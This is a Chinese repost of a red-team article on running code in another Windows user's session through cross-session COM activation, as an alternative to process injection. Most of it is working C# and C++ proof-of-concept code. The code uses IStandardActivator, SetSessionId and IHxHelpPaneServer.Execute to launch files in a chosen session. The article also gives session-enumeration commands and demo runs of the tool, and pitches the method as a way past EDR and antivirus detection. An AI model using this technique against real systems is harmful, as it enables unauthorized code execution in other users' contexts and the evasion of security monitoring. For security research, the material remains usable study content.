大家好,我叫 Michael Zhmailo,是 MTS 创新中心 CICADA8 团队的渗透测试专家。
在红队项目中,攻击者使用进程注入机制来获得在另一个用户的上下文中执行代码的能力。然而,进程注入技术早已被大多数防御工具检测到。此外,Windows 内核还提供了内置方法来简化检测。
因此,需要找到一种方法在另一个用户的上下文中执行代码,而不需要在进程中注入。而且还有这样的机会!我将在本文中讨论的机制称为跨会话激活。
Cross-Session Activation 跨会话激活
登录到 Windows 的用户会获得一个会话。每个会话都由一个会话 ID 来标识。您可以按如下方式查看计算机上的会话列表:
# local machine
quser
# on other server
quser /server:dc01.office.corp
您还可以使用 NetSessionEnum()、NetWkstaUserEnum()。您可以从 SpectreOps 文章中阅读更多内容。跨会话激活机制允许您在另一个用户的会话中创建 COM 对象。
算法很简单:
1.有服务器端和客户端会话
2. 客户端会话是从中接收创建 COM 对象的请求的会话
3. 服务器会话是在其中创建该对象的会话
4. 如果客户端可以在另一个会话中创建一个COM对象,那么通过调用这个COM对象的方法,客户端将能够在其他会话中执行代码
然而,也有一些限制。
- COM 对象必须配置为作为交互用户运行。
- 计算机上必须有一个我们想要获得的会话。
- COM 类必须提供可被滥用来执行命令和/或文件的方法
我注意到第三个限制是可选的。因为如果您有前两个,您可以通过带有 -s 参数的 RemotePotato0 或带有 -session 的 RemoteKrbRelay 捕获身份验证。
很久以前,EOP COM Session Moniker 漏洞被发布。它基于会话名字机制,可以在任何会话中执行代码。但是,此漏洞不再有效,已添加以下保护:
if ( imp_token_il >= process_token_il
&& (imp_token_il >= SECURITY_MANDATORY_HIGH_RID
|| EqualSid(process_token_user, imp_token_user)))
{
ShellExecuteW(NULL, L"open", path, NULL, NULL, SW_SHOW);
}
现在,要在任何会话中执行代码,您需要一个特权帐户,例如本地管理员。此外,使用名字对象(特别是 Marshal.BindToMoniker() 或 IMoniker.BindToObject()。您最后一次使用名字对象是什么时候?:))可能是 EDR 的危险信号,因此您需要找到替代方案。
作为用于测试的 COM 对象,我建议采用一个实现 IHxHelpPaneServer 接口的对象,该接口是 James Forshaw 在 2016 年发现的。该接口很有用,因为它提供了一个 Execute 方法,允许在系统上执行任意文件。因此,通过从另一个会话调用此方法,我们可以代表另一个用户执行文件。
使用此接口执行代码的最简单变体可能如下所示。
using System;
using System.Runtime.InteropServices;
namespace IHxHelpPaneServer
{
static class Program
{
static void Main()
{
var path = "file:///C:/Windows/System32/calc.exe";
var session = System.Diagnostics.Process.GetCurrentProcess();
Server.execute(session.SessionId.ToString(), path); // u can change session id here
}
}
static class Server
{
[ComImport, Guid("8cec592c-07a1-11d9-b15e-000d56bfe6ee"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IHxHelpPaneServer
{
void DisplayTask(string task);
void DisplayContents(string contents);
void DisplaySearchResults(string search);
void Execute([MarshalAs(UnmanagedType.LPWStr)] string file);
}
public static void execute(string new_session_id, string path)
{
try
{
IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id)); // alert alert red flag
Uri target = new Uri(path);
server.Execute(target.AbsoluteUri);
}
catch
{
}
}
}
}
然而,我们再次看到绰号的使用,这不是一件好事。我们应该走出常规,寻找其他内置的跨会话激活机制。
IStandartActivator + ISpecialSystemProperties
IStandartActivator 是一个标准 COM 接口,允许您使用各种附加选项创建 COM 对象(通过 ISpecialSystemProperties 接口)。特别是,使用 SetSessionId() 方法,您可以控制要在其中创建 COM 对象的会话。这个接口对我们来说非常有用,它允许我们在别人的会话中创建一个 IHxHelpPaneServer,然后调用 Execute() 方法并窃取别人的会话!
值得注意的是,我们也在 RemoteKrbRelay 中使用了这个接口。
因此,我们只需要编写一个使用该接口的程序,通过IHxHelpPaneServer COM对象的IStandartActivator运行并调用Execute()方法即可。
POC过程:
首先,我们需要初始化CLSID和IID值来标识要创建的IHxHelpPaneServer对象。这是通过 CLSIDFromString() 在下面的函数中完成的。
HRESULT CoInitializeIHxHelpIds(LPGUID Clsid, LPGUID Iid)
{
HRESULT Result = S_OK;
if (!SUCCEEDED(Result = CLSIDFromString(L"{8cec58ae-07a1-11d9-b15e-000d56bfe6ee}", Clsid)))
return Result;
if (!SUCCEEDED(Result = CLSIDFromString(L"{8cec592c-07a1-11d9-b15e-000d56bfe6ee}", Iid)))
return Result;
return Result;
}
接下来,我们需要获取指向 IStandartActivator 接口的指针。这可以通过常规 CoCreateInstance() 来完成。不要忘记事先调用 CoInitialize()。
GUID run = { 0x8cec592c, 0x07a1, 0x11d9, { 0xb1, 0x5e, 0x00, 0x0d, 0x56, 0xbf, 0xe6, 0xee } };
GUID CLSID_ComActivator = { 0x0000033C, 0x0000, 0x0000, { 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
GUID IID_IStandardActivator = __uuidof(IStandardActivator);
IStandardActivator* pComAct;
hr = CoCreateInstance(CLSID_ComActivator, NULL, CLSCTX_INPROC_SERVER, IID_IStandardActivator, (void**)&pComAct);
if (FAILED(hr))
{
std::wcout << L"[-] Cant get IStandartActivator" << std::endl;
return Win32FromHResult(hr);
}
获得 IStandartActivator 接口后,我们需要从中提取 ISpecialSystemProperties。这可以使用 QueryInterface() 方法来完成。此方法允许您获取不同的接口,该接口在与当前接口相同的 COM 对象中实现。
ISpecialSystemProperties* pSpecialProperties;
hr = pComAct->QueryInterface(IID_ISpecialSystemProperties, (void**)&pSpecialProperties);
if (FAILED(hr))
{
std::wcout << L"[-] Cant get ISpecialSystemProperties" << std::endl;
return Win32FromHResult(hr);
}
最后,使用 ISpecialSystemProperties 接口,您可以调用 SetSessionId() 方法来设置目标会话。
pSpecialProperties->SetSessionId(session, 0, 1);
if (FAILED(hr))
{
std::wcout << L"[-] Cant set session ID" << std::endl;
return Win32FromHResult(hr);
}
但是,如果您随后调用普通的 CoCreateInstance(),则将在当前会话中创建 COM 对象。要在另一个会话中创建 COM 对象,您需要从 IStandartActivator 调用创建方法。我们不需要 OBJREF 或 File,因此我们调用 StandartCreateInstance(),它是 CoCreateInstanceEx() 的实现。
std::wcout << L"[*] Spawning COM object in the session:" << session << std::endl;
MULTI_QI qis[1];
qis[0].pIID = &run; // IID IHxHelpPaneServer
qis[0].pItf = NULL;
qis[0].hr = 0;
hr = pComAct->StandardCreateInstance(CLSID_IHxHelpPaneServer, NULL, CLSCTX_ALL, NULL, 1, qis);
if (FAILED(hr))
{
std::wcout << L"[-] CoCreateInstanceFailed()" << std::endl;
return Win32FromHResult(hr);
}
IHxHelpPaneServer* pIHxHelpPaneServer = NULL;
pIHxHelpPaneServer = static_cast<IHxHelpPaneServer*>(qis[0].pItf);
最后,一旦成功创建了 COM 对象,您就可以调用 Execute() 方法并导致该文件在另一个用户的会话中执行。
std::wcout << L"[+] Executing binary: " << pcUrl << std::endl;
hr = pIHxHelpPaneServer->Execute(pcUrl);
if (FAILED(hr))
{
std::wcout << L"[-] pIHxHelpPaneServer->Execute() failed" << std::endl;
return Win32FromHResult(hr);
}
DEMO 演示版
所以,我写了一个最小的 POC。让我们来看看。我的笔记本电脑上有两个会话:
让我们检查当前会话中的启动情况。
.IHxExec.exe -s 1 -c C:/Windows/SYSTEM32/CALC.EXE
成功!还有另一个session:
.IHxExec.exe -s 2 -c C:/Windows/SYSTEM32/CALC.EXE
那太棒了!我们可以在另一个用户的上下文中运行代码,而无需使用进程注入
结论
没有很好记录的 Windows 功能有时会为我们提供一些有趣的功能,可用于复杂的 RedTeam 项目,包括防病毒绕过。我已经在 Github 上发布了 POC。
github:https://github.com/CICADA8-Research/IHxExec/tree/main
本文转载自:https://cicada-8.medium.com/process-injection-is-dead-long-live-ihxhelppaneserver-af8f20431b5d
原文始发于微信公众号(合规渗透):用IHxHelpPaneServer代替传统进程注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论